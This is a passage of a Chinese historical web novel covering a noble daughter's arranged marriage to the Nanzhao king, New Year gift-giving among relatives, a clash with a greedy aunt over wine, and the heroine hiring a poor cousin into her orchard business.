清平郡主在被下令在内院好好调理身体的时候,就知道她已经被变相地禁足了。 清平郡主的生母也被禁足,不同的是,清平郡主这边的相应待遇要更好一些。 乐阳郡主在看到府里上下都在为清平郡主出嫁而做准备的时候,心里也是渐渐地复杂起来。 说实话,她很不喜欢这个庶妹。 一来是因为这个庶妹总爱跟她抢东西,有时甚至还会故意在父王面前来争宠。 二来一嫡一庶,并且年纪还差不了多少,这或许就是天生的不对盘。 最后一点,清平郡主这个人的性格不好,在乐阳郡主看来,就是觉得她爱作妖,有心机。 可是如今看着庶妹即将远嫁,乐阳郡主心里又对她生出几分的同情来。 这两年清平郡主在王府可以说是要雨得雨,要风得风,谁能想到竟然一下子就要离开京城,不对,应该是离开大兴。 齐王妃带着几名教养嬷嬷进来,清平郡主正面若死灰地呆坐在榻上,连嫡母进来,都未曾起身行礼。 王妃身边的人想要出言喝斥,但被齐王妃拦住了。 “清平,你即将被圣上册封为公主,以公主之尊下嫁南诏王,经过朝廷的努力,以及你父王的再三争取,为你争得了一个贵妃的位分,仅次于南诏王后。” 清平郡主苦笑:“一个贵妃,不也还是妾!” 齐王妃神色不变,继续道:“这四人是宫中皇后娘娘赏下来的人,专司礼仪教导,自今日起她们便住在这里,明日开始教导你一些礼仪。你是我齐王府的女儿,但也是即将册封的公主,所以日后你的一言一行,皆代表了我大兴皇族,我希望你好好学习这些礼仪,日后在南诏也能彰显我大兴公主的风范。” 清平郡主不说话,齐王妃也不与她计较,一个眼神示意,所有人皆退出去,齐王妃的心腹则是留守于门外。 清平郡主听到动静,这才有了眼神变化:“母妃这是何意?” “你以后就是大兴的公主,你虽不是我的亲生女儿,但自小到大,我也从未苛待于你。坦白说,在所有的皇家庶女中,你的日子绝对是令人羡慕的。此次你嫁至南诏,王爷也特意向皇上请了旨意,可以由王府给你拨调一百精兵,余下的亲卫,则是由圣上在十二卫中挑选,断不会委屈了你。” 清平郡主听到此时,眼神闪烁。 她真地可以有自己的亲卫? 南诏国会允许吗? “我知道你在想什么,当年嫁给南诏先王的那位长公主,是她自己身体不好,也是她心思单纯,不够机敏。你不一样,我知道你聪明,也知道你擅谋算。日后你若是有办法能让南诏王废后,我大兴必然一力支持你为新的南诏王后。” 清平郡主眼前一亮,随即又有几分狐疑:“此话当真?” “你是大兴皇族,你觉得,在国家大义面前,嫡庶之别,当真还那么重要?” 清平郡主直至此时,才突然领悟到,为何自己学习的东西,与其它庶女不同了。 所以,从一开始,他们就想要让她成为一个工于心计的女人? 第208章 郡主慎言 齐王妃和清平郡主谈了差不多有大半个时辰的时间,最后齐王妃离开的时候,清平郡主一改往日恹恹的样子,竟然起身送王妃至院门外。 再之后的日子里,清平郡主一切都按照王妃的安排来,无论是学习还是其它,再不曾摆出一副要死要活的样子来。 乐阳郡主也曾去探望过几回,她明显地感觉到,这个庶妹不一样了。 清平郡主就算是定下婚事,也要在明年才会出嫁。 而现在,齐王妃真正着急的是,她需要先给乐阳定下婚事,然后在明年清平郡主出嫁之前,先一步嫁出去。 一国公主下嫁,那自然不可能是太过随意的。 礼部那里要走的流程就不少。 而且还要置办嫁妆等等。 更重要的是,公主下嫁,届时送亲的队伍行进速度就快不了,毕竟又是公主又是嫁妆的,没有三个月,估计都走不到大兴的边境。 乐阳郡主其实还没有完全开窍,对于自己的婚事,她其实并没有太多的话语权。 但若是王爷王妃看中的人,她说一句自己不喜欢,齐王也不会为难她。 这就已经足够了。 齐王和王妃想的是能让女儿一辈子无忧,所以对于郡马的人选,并不仅仅只是看门当户对。 若论尊贵,天底下有几家能比齐王更尊贵的? 所以,他们夫妻二人更看重的,还是人品。 德行有损者,再好的学问,再好的家世也不能嫁! 腊月初八这天,京城各府第的人都会在城内外施腊八粥。 齐王府自然也不例外。 乐阳郡主便借着这次机会,直接跑到了百果园。 许昭昭和许君霆都在这里。 谢铮也不知道是什么时候来的,反正乐阳郡主一下马车,便看到了谢铮的那匹马。 “昭昭,我不想嫁人。嫁人有什么好的?各种各样的规矩,还要孝敬公婆,又要想着婆家诸多人的喜好等等,我只是想一想都觉得累,真要是实际做起来,那不得烦死吗?” “你身边不是有很多下人?可以让她们去做。” “不一样的。若是哪里出了差错,人家也会怪我这个主子没教好,谁会真的认为是下人的错?” 许昭昭乐了:“你倒是想的明白。不过你年纪到了,不嫁人是不可能的。说说看,有没有哪家的俊俏郎君入你的眼?” 乐阳郡主拍她一巴掌:“又拿我来说笑!我若是真有意中人,早就直接禀明父王母妃了,何至于还让母妃那般辛苦?” 许昭昭觉得乐阳郡主其实就是还没有长大,思想不成熟。 而且,乐阳说的也对,嫁人有什么好的呢? 没嫁人之前,还能让男方时常惦记着,偶尔再花心思送些好东西过来。 可一旦成亲了,只怕对方就不会再珍惜,甚至天天瞧着一样的脸,可能都会心生厌烦了。 许昭昭也觉得,嫁人没意思。 “其实我也不想嫁人。可咱们女子生存不易,若是不嫁人,到了年纪还要缴罚资,这倒是小事,可问题是外面的人会议论纷纷。正所谓流言猛于虎,到时候咱们的日子怕是要相当难过。” “哼!要我看那些人就是闲的!我们嫁不嫁人,关他们何事?” “话不能这样说。咱们大兴的人口相对于大兴的疆土而言,还是太少了。要不然,这些年朝廷也不会一直催促着适龄男女成亲。而且有些地方上的政令更为严格,若是到了年纪不婚配,则会由官府强行配婚,那才叫糟糕呢!” 许昭昭在尽力避开和亲南诏一事,但是乐阳郡主还是自己主动提了。 “我以前总觉得清平这个人太过狡诈,还觉得她那样的人,满心满眼都是算计,日后定然不会得枕边人的喜欢。可是我知道她要嫁去南诏后,心里又是难免有几分不舒服。” 许昭昭点头,这才是正常的。 以她对乐阳郡主的了解,这是一个真正善良且单纯的人。 如果她因为清平要远嫁就开心得大肆庆贺,那才不对了。 “女子远嫁,没有娘家可以倚仗,的确是会有几分难过。” “我早就知道清平是我们王府选出来要去和亲的一个,但我不知道她会被送去南诏。” 大兴朝的属国也有几个,除了南诏之外,她原本以为会是高丽或者是西域等地方,但从来没想过会是南诏。 相较于高丽,南诏显然就更恐怖一些。 毕竟,曾经有一位姑母死在了南诏,而且还是嫁过去不到五年便逝去。 而高丽不同。 大兴曾有一位公主嫁去高丽,并且直接被封为王后的。 而且高丽的环境也更好一些,南诏那边据说是多虫瘴,一个不小心可能就会中毒身亡了。 所以,南诏虽然气候还不错,而且南诏王对大兴也很忠诚,但大兴女子基本上都对南诏还是多几分排斥的。 “南诏其实也不错。而且现在咱们大兴国力强盛,且南诏王自己也知道是我大兴公主下嫁至南诏,虽然不能做王后,但是拥有金册金印的王贵妃,也已经很不错了。况且,清平郡主说到底并非是真的公主。 南诏王愿意以这样的诚意来迎娶咱们大兴的亲王女,也能看出他对大兴的忌惮。你也不要多想。这些年来,我大兴公主和亲的其实不多,没有几个。就算是和亲,那也是以上邦公主的身份下嫁的,不会受委屈。” 许昭昭说的是实话。 大兴公主的确不会受委屈。 但是上一位长公主在南诏到底是怎么没的,就不得而知了。 是死于后宫女人的算计,还是死在了前任南诏王的阴毒心思,都已无凭可查。 既然如此,那还是乐观一些,向前看吧。 “女子不易,皇家女子看似平日生活得光鲜亮丽,可是内心的苦楚,又有几人知晓?平民百姓之女,反倒可以嫁得离父母家近,可以时常探望一二,可是皇家女子的婚姻,却是权利的牺牲品。” “郡主慎言!” 这等话,自己心里想想就是,千万不能说出来。 而且,换个角度想,你享受了十余年大兴皇室所带来的荣华富贵,自然也应该付出一些回报。 这才是上位者想听的言论。 第209章 年礼 腊月各府之间都会送些年礼,要根据关系不同,准备丰厚程度不同的年礼。 许昭昭不关注这些,但是王若兰考虑到明年她就要嫁人了,所以还是想着让她也参与进来,就把她带在身边,亲自教。 “若是亲戚,自然分个远近,但是给你几个舅舅家准备的年礼则是不应分远近,无论是哪个舅舅,咱们都得一视同仁。按理说,这边给你舅舅准备什么,就应该也给你姑姑准备同等的份额。 只是你也知道你姑姑那人,自己小气不说,而且还总爱挑拨生事。我与你二婶都不喜她,但是没办法,谁让她是你亲姑姑呢,这年礼上不能薄待了,但是也不可能让她与你舅舅他们一样。” 这样一番解释,其实也是让许昭昭得弄明白一些人情世故。 按礼应该如何做,但事实如何,也不能都忽略掉。 “另外,给你两位嫂嫂家准备的年礼,也应该是同等档次,这一点,咱们家不能厚此薄彼,这件事情原是你大嫂看着张罗的,我看过之后,觉得轻有些礼了,便又各加了两张狐皮、一些药材。” 许昭昭看过单子之后,又再去看相应的东西。 身为主母,对于这种事情,自然不能放松,总要亲眼看过才放心,这也是为了避免底下人糊弄,也能彰显出自己对于这件事情的看重。 “这一份看着是不是有些杂?” 许昭昭点头,而且瞧着上面也没写到底是送给哪一家的,所以她才一脸茫然。 “这是要送到你祖母的娘家去的,按辈份,你应该叫姨祖母。” 许昭昭两只眼睛瞪得圆圆的,好像是听到了什么了不得的话。 姨祖母? 她有这么一门亲戚? 她自己怎么不知道? 王若兰一看她这反应,就知道这孩子真是忘性大。 “你姨祖母也是曾经在京城里住过几年的,后来家中出事,便随着她夫家回乡了。” 许昭昭点头,其实一点儿印象也不有。 毕竟像是许家这样的高门大户,每年来往的亲戚们可实在是太多了。 能到许昭昭跟前来的,都是筛了好几遍的。 说句不中听的,像是刘起的妻子许氏那样出了五服的亲戚,一般情况下是进不了侯府内宅的。 侯府这边愿意请进去到前厅喝口茶,已经是很给面子了。 大多数时候,这样的亲戚们是见不到许翰和王若兰的面,顶多就是被管家接待一二。 还有一部分族亲,虽然没有出五服,但也实在是没有什么亲情的,就是好几家子一起过来送上年礼,拜个年,顶多就是许君安或者是张氏出来接待一下子,再回一份礼就算是结了。 许氏族亲中,只有一些长辈,或者是特别近的堂亲,才能有机会见到许翰和王若兰。 毕竟像他们这样的身份,要接待的贵客可太多了,如果什么都要自己来做,那一天到晚都别想闲着。 姨祖母其实也就是祖母那边的娘家人,而且还有不少的亲戚长辈。 王若兰都让人备好了年礼,虽然不算是多贵重,但让人挑不出错来。 亲戚间走礼,也是有讲究的。 若是上心了,那送的年礼或者是回的礼,都正好是对方家缺的,这算是送到心坎上了。 若是不上心,随意敷衍的,也就是随大流,怎么送都行,这也让人挑不出错来,但是能让人一眼看出亲疏远近来。 这里头的门道,多着呢! 许昭昭被强拽着开始梳理这些个亲戚关系,有的甚至都是拐了好几道弯的,也要强行攀附侯府,这主昭昭都觉得无语了。 “这世道本就如此。富在深山有远亲,穷在闹市无人问。虽说这都是拐着弯过来的穷亲戚,但咱们侯府家大业大,有些善缘能结就结一下。像这种亲戚,咱们回什么其实都不如回点儿银钱好。 但咱们也是有讲究的,真送上几贯铜钱过去,只怕要让人家以为咱们在拿钱砸人。所以你大嫂备的都是一些普通人家需要的物什,比如说米粮、布匹、还有一些普通的纸张。” 许昭昭点头,表示受教了。 有些穷亲戚的确是日子过得艰难,一日两餐,还只怕是撑不下来一年。 所以张氏特意给备些精米细面,就显得很应急。 再说这布匹,给这种亲戚备的,都是一些普通的棉布、麻布,这样对方可以直接拿来做衣衫,不必担心太贵重了,穿不起,或者是觉得欠了侯府的,日后不好意思再往来。 这果然都是有学问的。 “我带你熟悉这些,是想着日后你嫁去了谢家,早晚也是要有这么一出的。就算是你不执掌谢府的中馈,但是你要也走一些人情往来。” “女儿知道了。” 孙家的年礼先送过来的,而且还是许琳亲自过来的。 王若兰带着两个儿媳妇和女儿一起招待她。 “我这次来,除了送年礼,还有件事情要麻烦大侄女呢。” 许昭昭挑眉,这次直接开门见山,不打算绕一绕吗? “我那个堂妯娌江氏已经没了,她侄女之前不是进了肃国公府嘛,前阵子求到我那里,说是日子过不下去了,江家原本也是投靠了国公府的,只是自打百果园出的各种酒之后,江氏酿酒那边的生意也不好做。 因为这个,所以江莞莞在府中的日子不好过,江家求到我跟前了,都是亲戚,我总不能眼睁睁地看着孩子受苦而不管。” 许昭昭心头冷笑,你想管,那你就去管呀! 你自己没有这个本事,就想着拉出亲戚这面大旗,让侯府出头,你怎么那么聪明呢? “姑姑,肃国公府的事,咱们可不能沾手。先前刘大公子被人打断腿且还毁了一只眼的事,如今可还没有结案呢。这个时候咱们自然是得躲着些,您怎么还要往前凑?” 王若兰勾唇:“是呀,昭昭说的对。至于江莞莞,她既然已经是刘大公子的妾室了,那就不容更改。求你又有何用?那江家若是心疼闺女,便让他们去求国公爷,大不了舍些银钱出来,然后换江莞莞一个自由身便是。” 第210章 许昭昭笑怼许琳 换自由身? 这当然是不可能的! 江莞莞既然被抬进了肃国公府,那便是刘家的人了,怎么可能还会再有自由身? 而且只是一个妾室,连得到一封休书的资格都没有,这辈子只能依附于刘家而活了。 江家当初选择了刘怀恩,那就只能承受这个后果。 找靠山,有时候也就跟赌博一样,输赢的可能性都有。 既然输了,那就认命。 其实江家当初也不知道是怎么想的,明明有着孙家的这层关系,哪怕是拐着弯过来投靠安信侯府,也比送一个女儿进去当妾要好呀。 如今落得这般下场,又能怪得了谁? 许琳当然没有那么好心,她不过就是借着江莞莞的事打开话匣子罢了。 “也罢,到底不是咱们许家的人,能帮就帮,不能帮也便算了。当初江莞莞入肃国公府,也是他们自己的决定,怪不到别人头上。我也只是想到了死去的那个弟妹,所以有感而发而已。” 许昭昭笑道:“姑姑就是心太善了。” 许琳干笑两声,呵呵,心善? 不过就是借他们江家来问问路罢了。 “昭昭,这年底了,各府各院的,难免都要办宴会或者是酒席,酒水自然是少不了的。姑姑这次厚着脸皮过来,也是想着从你这里讨个人情,看能不能匀上几十坛子的金华酒给我呀?” “姑姑说笑了,您是自家长辈,想要金华酒,自然是有的。不过,之前姑姑家好像是不曾提过,也不曾买过,所以那边的管事在处理这些酒水时,可能没有预备您那份儿。等下一批酒出缸时,一定给您备好。” 许琳脸色不悦:“下一批?” “是呀,这一次出来的酒水实在是不多,主要是宫里占了大头,余下的不是公主府就是国公府的,我们也不好毁约。” 许琳咬牙,这是拿别人来压她呢。 “昭昭好本事呀,这买卖都做到宫里头去了,啧啧,还是大嫂会教孩子呀,寻常人家的姑娘,哪能有这般本事?顶多就是在家绣绣花花弹弹琴的,这手里头要过大笔银钱的,估计咱们昭昭也是独一份儿了。” 这是明嘲暗讽地骂许昭昭一身铜臭味儿呢。 商户低贱,许琳明摆着就是在说许昭昭没有高门贵女的作派,反而一门心思只想着挣钱。 “姑姑这话我可不敢苟同,您怕是不知道,京城贵女们哪一个手里头没点子营生的?我原先也以为都在家里头学女红呢,也是后来接手了些产业后才知道,我跟她们比可是差远了! 就说乐阳郡主吧,人家手底下可是养着商队呢,再说那药材铺子的生意更是火爆,谁去看诊拿药的,还去讲价钱?还有定南侯府的小侯爷,那也是生财有道呢,个个都是有本事的。 也就只有我才蠢了些,折腾出来的这几项产业都是听着名头响,其实就是看个热闹,赚不了多少钱。不信回头您去打听打听,每逢这新酒出缸,多少人家都盯着呢,我能怎么办?不是长辈,便是勋贵的,我谁的面子都得给呀!” 一番话,把许琳堵在那里,是怎么说都不对了。 张氏在一旁看得直乐。 这个姑姑的确是越来越不像话。 昭昭每次有什么好东西,也没落了孙家那边一份,就怕是有人再说她得了好处却不知道孝敬长辈。 许琳这是得了孝敬,还觉得不够,又想着再捞波大的呢! 百果园酿造的酒再好,那市面儿上也有卖的,指定没到断货的地步。 许琳刚刚那番说辞,分明就是不想花银钱,想白要呢! 身为长辈,脸咋那么大呢? 同样都是长辈,看看人家王家那边? 昭昭每回送去的那些个好东西,王家偶尔不曾回礼过来,但也会在其它地方补齐了,断然不会占一个小辈的便宜。 这才叫长辈慈爱呢。 就说那酒水,许昭昭入秋后就给王家送了金华酒和延年酒过去,但是王家人多,再加上宴请、走人情之类的,那些酒定然是不够用的。 但是王家宁可自己差人去市面儿上买,也不会主动跟许昭昭要,就是不想让人说嘴。 这次侯府给王家准备的年礼里头,许昭昭备的酒水,可以说是占了大头呢。 长辈越是慈爱体恤小辈,那小辈们便越是想着拿最好的东西孝敬长辈。 如此有来有往,情意才能越来越浓。 都如同许琳这般行事,只怕早晚得跟亲戚们断绝往来了。 安和县主与这位姑姑不熟,但是只看这架势,就知道她在许家不受待见。 许琳在这里讨了个没趣,干脆冷脸去后面给老夫人请安去了。 她一走,王若兰便没忍住,扑哧一声:“好了,今日之事就此作罢,不可外传。你们三个在这里坐着吧,我跟过去看看。” “是,母亲。” 长辈们一走,三人便立马轻松不少。 “大嫂,我给小侄子打了一个金项圈呢,不过可能要再晚两天才能送过来,到时候让熊儿试试,看威不威风!” 张氏嗔怪道:“你也莫要太宠着他了。他一个小娃娃,哪里值当得这等好东西。” “大嫂这话可不对,熊儿可是咱们家的嫡长孙呢,金贵着呢!反正我瞧着熊儿长的比我大哥好看,模样更像大嫂多一些。” 安和县主附和道:“是呢,我也觉得熊儿的眼睛更像大嫂,又黑又亮。” 张氏被她们二人给捧得合不拢嘴,难怪人人都爱听好话呢。 “昭昭,你还得有个准备,我看姑姑今日来怕还有别的事,她的性子你也知道,闹到老太太那里去,若是不如她的意,挨骂受罚的还得是母亲和咱们。” 许昭昭点头:“大嫂放心,我定不会让祖母怨到母亲身上。而且我听说,祖母有意让舅姥爷那边的小辈们到京城来求学呢。这种时候,祖母不好再拿一些小事来问责母亲的。” 安和县主瞪眼:“昭昭,你怎么什么都知道?大嫂可知此事?” 张氏点头:“倒是听世子提过一句,不过想要进国子监,怕是不成。若是去书院求学倒也还好,至少不必住在府中,免得大家都不自在。” 第211章 被盯上的许川 年底走亲戚的多,有些亲戚即便是穷了些,但因为是没出五服的,也算是正经亲戚,就算是许翰和王若兰不得空,也得由张氏出面招待的。 这阵子谢铮和许昭昭见面有些频繁,虽然二人是未婚夫妻,但还是要注意些影响。 所以王若兰干脆就让张氏带带许昭昭,美其名曰教导,许昭昭也不能反对。 今日许昭昭要接待的这位就是许家没出五服的亲戚。 许川的祖父和许昭昭的祖父是亲兄弟,也就是说,许川的父亲和许翰是堂兄弟。 所以,要是这么论辈份的话,许川和侯府的关系还算是亲近的。 只是许川的父亲早逝,许川的母亲又长年体弱多病,许川以前上面还有一个兄长,也因病而亡。 所以,到了许川这里,担子自然也就重了许多。 许川成亲早,如今也是当爹的人了,按年纪,他比许君霆还要大。 只是他们那一支,自许川父亲时便有落魄的迹象,到如今,竟已是穷的需要亲戚接济才能过日子。 许川平时很少登侯府的门,主要就是怕人家觉得他是来要银钱的。 日子要过,但一个男子的自尊心也的确是没办法轻易放下的。 今日,许川带着妻儿一起过来送年礼,顺便提及给老夫人磕个头,算是拜个早年。 老夫人近日身子不太爽利,所以许川只是带着妻儿在院子里头给她老人家磕了个头,便被请到前面的花厅说话。 许川是小辈,自然不需要王若兰亲自招待,张氏和许昭昭命人备上茶点后,便只留了几个心腹丫头,余下的都让她们退下,也是免得许川一家三口不自在。 “兄长今日来得不巧,父亲被圣上召入宫中议事,其它的几位郎君们也都在各司其职,不在府中,并非有意怠慢。” 许川穿着一身干净的蓝色长袍,耳朵上明显还有冻伤,面对几位女眷,他其实是有些拘谨的。 “世子夫人言重了,也是我不曾打听清楚,便贸然登门,没坏了府上的正事才好。” 张氏则是微微皱眉:“兄长此言不对。咱们都是实在亲戚,常来常往才是正经。哪有自家亲戚过来串个门,还得先打听的?我知兄长是个有见识的,我一介妇人,讲不出那么多的大道理,倒是该让嫂嫂和侄儿多多过来串门才是。” 许川的夫人只是出身小门小户,而且这还是她成婚后第二次来侯府,也是第一次见到这位年轻美貌的世子夫人。 许昭昭对这位族兄有印象,但是对这位嫂嫂是真觉得眼生。 “我大嫂说的是,兄长你自去忙你的事,但是嫂嫂和侄儿当多过来走动才是,否则亲戚们之间也都生疏了。不说别人,单说我自己,若不是有兄长在这里,我都不知道这是我的堂嫂。” 许川听闻此言,眼神微闪:“是我的不是。只是她要带孩子,还要侍奉母亲,所以平时也难得空。” 许昭昭朝着旁边招招手:“丁香,我记得先前做的补气丹还有一瓶,你去取来,正好让兄长给婶娘送过去。” “是,小姐。” 许川面色微变:“这如何使得?” 许昭昭双眼清澈地看向他:“如何使不得了?我是小辈,要过年了,正好就拿这补气丹来孝敬婶娘,而且你们过来,还省了我再走一遭呢,说来还是我躲懒了。” 张氏也笑:“正是如此。这丫头畏寒,一到冬日,便不怎么出门,恨不能整天都关在屋子里头烤火呢。你们也体谅她一把,莫要再让她出门受冻了。” 一番说笑,也让许川和妻子少了几分的忐忑。 许川的母亲,说白了其实就是多年的劳累所致,要说大病,好像也没有,就是小病不断。 今天咳嗽一阵子,待好了没几天,可能又会腰疼腿疼的,都是一些老毛病,这补气丹其实就是滋养人的补品,适当用一些,自是有好处的。 许昭昭将补气丹送到堂嫂手里之后,便又哄着堂侄吃糕点。 走的时候,张氏特意安排了马车送他们回去。 天寒地冻的,有马车总归要暖和一些。 许川一家三口上了马车才发现,马车里头还有两口箱子呢。 到了地儿,小厮将两口箱子也搬下来。 “这个箱子里面是一些亲戚给我们小公子送的玩具和鞋帽,只是我们小公子年纪还太小,而且有些颜色不得我们少夫人喜欢,所以特意收拾出来给这位小哥儿,还请郎君莫要嫌弃。” 许川就差跟人家拱手作揖了:“哪里哪里!” “这个箱子里是我们小姐的一番心意,说是没能过来给长辈拜年,是她失礼了。还请夫人莫要怪罪。” “不敢不敢!” 等到侯府的人走了,许川和妻子打开箱子看过后,自然是有几分动容的。 许氏族人留在京中的不少,日子比许川家好过的就更多了。 但是哪怕是他的亲叔叔家,也没能如侯府这般待他们用心。 许川都明白,无论人家说的是旧物,还是说是少夫人不喜欢等等,不过都是托辞,怕他们不愿意收罢了。 因为许昭昭送的东西,直接就是说孝敬长辈的,所以许川也不好再给人家退回去,那样便不像话了。 其实箱子里的东西也没有多贵重,有几副兔毛的暖手,还有两件棉斗篷,最下面是放了六贯钱,另有一串看着数量少,许川妻子拿起来一数,正好是六十六枚。 许川苦笑:“昭昭这也是用了心思的,正取了六六大顺之意呢。” 许川妻子拿衣袖抹一下眼角:“夫君,咱们把这些东西都收拾起来吧。” “嗯,收起来吧。” 许川读书不成,习武也不行,所以如今只能是在许家的铺子里当一个账房先生。 又因为他年轻,而且做这个的时间还不算太长,所以工钱并没有太高。 其实,就连这份差事,也是多亏了有侯府照拂,是因为去年母亲再次病重,他无奈之下求到侯府,这才得了些银钱,他又不愿意白要,所以才得出来想找份差事。 许川不知道的是,只这么一回碰面,许昭昭便盯上他了。 第212章 忙不过来 许昭昭看上许川了,更准确地说,是看上许川的办事能力了。 这人其实性子上有些迂腐,而且有时候还拉不下脸来伏低做小,骨子里头有那么一点属于读书人的骄傲劲儿,但是又不多,这于许昭昭而言,简直就是正正好。 许昭昭年前就把这件事情跟母亲说了,王若兰倒是觉得可以,许川也算是自家人,而且这人从骨子里有一股子读书人的傲气,身上那种商人的狡狭在他身上是看不到的。 如果有许川出面打理,倒是比用一些外人更方便,也更放心。 这年代讲究一荣俱荣,一损俱损。 昭昭提携许川,也算是给族人们做一个示范看。 况且,许川此人的人品还是可以的,至少这一点,是得到过侯爷亲自认证的,若不然,那么多的亲戚想要来侯府这里谋差事,为何偏偏只帮了许川一人? 其它人,侯爷可是定可一年多给几贯钱,也不愿意让他们到侯府底下的产业里做事的。 这就很说明问题了。 许川如今只是在侯府的一处绸缎铺子里做账房,工钱算不得太多,但也可以勉强糊口度日,他是家中独子,妹妹明年就要出嫁,他原本就在想着给妹妹攒嫁妆呢,如今这好事落到头上,自然是喜不自胜。 年底是最忙的时候,许昭昭得知绸缎庄里也不止一位账房,便以此为由,直接将许川给调走了。 因为许川是族亲,自然没必要弄什么卖身契之类的,但是工契还是要签一份的。 许昭昭也不想坑他,毕竟是自己人,所以命人拟了两份,一份是五年契,一份是十年契,看他自己高兴签哪个便是哪个。 许川哪能不知道此间用意? 他很痛快地就签了十年契。 自此之后,他便是正儿八经有事情要做的人了。 许川身无功名,也不是练武的材料,因此多年来,一直都在为生计发愁。 如今有了稳定的差事,家中老小尽可安心度日了。 高大魁亲自来办的差事,看他签了契书后,这才解释道:“小姐向来心慈良善,咱们手底下做事的,无论是管事还是最下面的伙计,只要做得好,小姐皆会厚赏。 如今百果园这里缺人手,实在是忙不过来,正巧小姐得知郎君在自家铺子里做事,这才跟夫人将你求了过来,只盼日后咱们能好好共事,尽力为小姐解忧。” “高管事所言甚是,理当为小姐排忧解难。” 高大魁将契书收好,便命人将东西奉上。 “那我明日就在百果园那里等着先生了,实在是忙不过来,另外,百果园那边也有临时休息之所,若是偶尔忙得晚了,也可以直接歇在那里。” “好,有劳高管事。” 高大魁起身,后面跟着的几个小厮快速地将东西奉上,然后鱼贯而出。 许川愣了几息后,连忙追出去:“高管事,这是何意?” “这是咱们百果园年底的一应福利,你既然入了百果园,自然也该有一份,这也是小姐的意思。你放心,我乃是侯爷的亲兵出身,断然不会谋害主子私利的。” 许川呆愣愣地回到屋里,见到堂屋里桌上桌下都放了不少东西。 刚刚有人过来送东西,许川也只是稍微关注了一下,毕竟当时高大魁就在身边,所以也不曾多想。 如今仔细一瞧,这东西是真不少。 许川的母亲被女儿扶着出来,坐下后连忙让女儿帮着儿媳归整,这才知道送了多少东西过来。 “一坛子酒,不过我闻着酒香味儿与以往的不同,夫君看看可识得?” 许川近前嗅了嗅,微微点头:“这应该是外面难买的延年酒,据传此酒去岁便已被列为十千酒中最贵的一种,如今看来,当真是物有所值。” 十千酒? 许川的母亲吓一跳,毕竟这一坛子酒,都够他们一家人吃用大半年了。 再之后都是一些普通的米、面、还有两条新割的猪肉。 “都说百果园在山上养了好些个家禽,还在底下弄了什么养殖场,听说那些好手给养出来的,这猪肉还没有膻味,做出来的红烧肉更是一绝,没想到我竟然也有幸能吃上这么一口了。” 有了原材料,再做起来自然就方便。 许川心存感激,看到东西虽多,但的确都是普通人家过日子用的,并非是什么奢侈之物,这才信了高大魁的话。 等之后许川入百果园做事,一天从早忙到晚,而且还有一辆骡车可以坐。 “夫君这冻伤好些了,早就听闻百果园的东家心肠好,今日才知道所言非虚。你说说这不过是给人做工,竟然还能有车接车送。” 许川也是深以为然。 哪里的东家会愿意再舍出车马来让手底下的人用? 不是东家没钱,而是觉得不应该。 毕竟车马这东西,那可是身份的象征。 百果园待手下好,其实也间接说明了的确是赚到了大钱。 京城里进出的骡车有两辆,都是为了负责接送这些大小管事以及匠人们进出。 一来是为了方便,而来也能体现出百果园对于人才的重视。 最早的时候,安排的是驴车,后来到百果园做事的人多了,所以就改为了骡车。 骡子的力气更大一些,而且车棚里面能坐五六个大男人,这样更方便。 许川也是后来才得知,光是这两辆骡车的车夫,一个月下来都有五百个大钱,而且百果园还管一餐午食。 啧啧,许昭昭也太大方了。 高大魁对此表示不以为意:“有两个车夫专门负责接送你们是其一,另外庄子上有个什么急事也方便。咱们百果园经营的产业比较多,这还是分出去了一部分,要不然更麻烦。” 许川也的确是见识到了何谓产业多。 光是账房先生就占了一处院落,再加上这边还单独有两个负责跑腿的小厮,专门负责平时的琐事,比如说端茶倒水、加炭等等。 啧,这日子过得跟主子也没什么差别了。 许川真正一忙碌起来,也才意识到,许昭昭并非是出于对于同族的照顾才用他,而是真地忙不过来呀! 第213章 送些利益给陛下吧 一直到腊月二十九这天中午,许川才又抱着一堆东西回家。 许川妻子一瞧竟又是一大块的肉,再仔细一瞧,应该是排骨。 “这是?” “今天算是正式休了,等到正月初七我就得上工。可算是能歇歇了。” 许川说完,直接把几串钱也拿出来。 “这是这个月的工钱,算是结清了,明年正月我可领不到钱了,要等到二月才能领。你收着吧。” 许川说这番话的时候,分明就是带着几分的愉悦和得意的。 去年年底时,他也是结算清工钱的,但是明显没有这里给的多。 而且再往前捯,年底一般都不肯给结清工钱,总是推三阻四。 难得的,百果园不仅工钱给的高,而且发的喜面儿也多。 又是肉,又是布的,实在是难得。 “呀,这么厚实的布,我赶紧收拾出来,能给你和咱们儿子各做一身棉衣了。” “我不急,如今身上有的穿,先给娘做一身吧。” 许川母亲笑道:“我平时不出门,屋子里头也不冷,不用给我做,儿媳妇做一身吧。” 许昭昭这边要随着母亲和婶娘一起进宫赴宴,这一次,二房的两位庶女是没有资格的。 只有嫡子嫡女,才能有资格进宫赴年宴。 许昭昭一点儿也不想去。 但是不去又不行,这次皇上和皇后都点名了得让她去。 老夫人不去,理由就是身子乏累。 如此一来,整个侯府基本上就没有几个正经主子了。 许昭昭新鼓捣出来的药材生意,有乐阳郡主掺了一脚。 先前的造纸以及印刷生意,又有镇国公府那边,而且是大赚特赚。 如今京中谁人不知有一个点金能手许昭昭? 当然,恨她的人也不少。 比如说先前靠着酿酒而攒下家业的江家,如今被挤兑得完全没了高端市场,只能是被当做低价酒来卖,好歹是能赚些钱,还能养活一家老小,可还有一个刘怀恩天天伸手要呢,江家实在是支撑不住了。 许昭昭可不管他们是否能支撑得住,她又没做什么亏心事,就算是要怨,也怨不到她头上。 正常的市场竞争,你自己技不如人,难不成还不许别人好过了? 而且是竞争,其实也是机遇。 没瞧见京城好几处酿酒坊都已经顺利转型了? 有的也在跟着学酿一些果酒或者是其它的药酒类的,总之都在思变。 你若是固步自封,还能怨老天爷不把钱送到你手上? 姜宁是忠王的妾室,这等场合,她也是没有资格参加的。 虽说也是有着孺人的位分,但连高门大户的庶子庶女都不能参加,一个小小的孺人又算什么? 乐阳郡主拉着许昭昭,小声道:“宁朔公主刚刚问了我好几次呢,想要见见你。” “嗯?见我何事?” “我听她的意思,应该也是想要在你的生意里头参一股。不过我知道你向来不太喜欢站队,宁朔是安王的亲姐姐,她若是与你一同做生意,只怕会让人以为你站到安王这一边了。” 许昭昭点头,她的确是不想与公主或者是长公主们来往得太密切了。 偶尔的一些应酬当然没问题。 但若是涉及利益,那便不行。 比如说,她可以每年都往各位长公主、公主府里头送一些果酒或者是其它的稀罕物,但是绝对不会让她们与自己一同获利。 这是本质上的区别。 若非是因为齐王是铁杆的保皇派,她也不会把乐阳郡主拉下水。 